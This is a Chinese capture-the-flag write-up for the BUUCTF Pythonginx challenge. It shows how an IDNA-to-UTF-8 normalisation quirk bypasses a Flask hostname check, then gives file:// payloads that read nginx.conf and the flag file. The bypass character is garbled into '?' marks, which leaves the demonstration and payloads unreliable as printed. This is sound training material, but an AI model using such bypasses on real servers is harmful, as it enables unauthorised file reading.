web buuctf [SUCTF 2019]Pythonginx1
知識點:1.nignx
? ? ? ? ? ? ? 2.idna編碼與utf-8編碼的漏洞
1.開題
?查看源碼,整理代碼:
@app.route('/getUrl', methods=['GET', 'POST']) def getUrl():url = request.args.get("url")host = parse.urlparse(url).hostname//經過urlparse解析所得hostname不能為suctf.ccif host == 'suctf.cc':return "我扌 your problem? 111"//urlsplit解析后hostname不能為suctf.ccparts = list(urlsplit(url))host = parts[1]if host == 'suctf.cc':return "我扌 your problem? 222 " + hostnewhost = []for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))parts[1] = '.'.join(newhost)#去掉 url 中的空格finalUrl = urlunsplit(parts).split(' ')[0]host = parse.urlparse(finalUrl).hostnameif host == 'suctf.cc':return urllib.request.urlopen(finalUrl).read()else:return "我扌 your problem? 333"2.代碼審計,需要繞過兩個if語句
finalurl應該是文件的形式file://
發現里面有idna編碼到Utf-8編碼的轉換,這兩個編碼形式的轉換是存在漏洞的
idna是國際化域名
idna與utf-8編碼漏洞 - Hanamizuki花水木 - 博客園
?這個字符,如果使用python3進行idna編碼的話
print('?'.encode('idna'))
結果
b'c/u'
如果再使用utf-8進行解碼的話
print(b'c/u'.decode('utf-8'))
結果
c/u
通過這種方法可以繞過網站的一些過濾字符
3.找到flag的位置,根據提示,用的是nignx服務器,我從別人的wp那里復制一下常用的文件儲存地址,方便記憶
配置文件存放目錄:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理腳本:/usr/lib64/systemd/system/nginx.service
模塊:/usr/lisb64/nginx/modules
應用程序:/usr/sbin/nginx
程序默認存放位置:/usr/share/nginx/html
日志默認存放位置:/var/log/nginx
配置文件目錄為:/usr/local/nginx/conf/nginx.conf
于是我們可以構造payload:
/getUrl?url=file://suctf.c?sr/local/nginx/conf/nginx.conf
?getUrl?url=file://suctf.c?sr/fffffflag
得到flag{62903ed4-53f9-4ebd-b13a-136082b2610e}
?
總結
以上是生活随笔為你收集整理的web buuctf [SUCTF 2019]Pythonginx1的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: pcap_compile
- 下一篇: 11-Linux中批量解压缩rar文件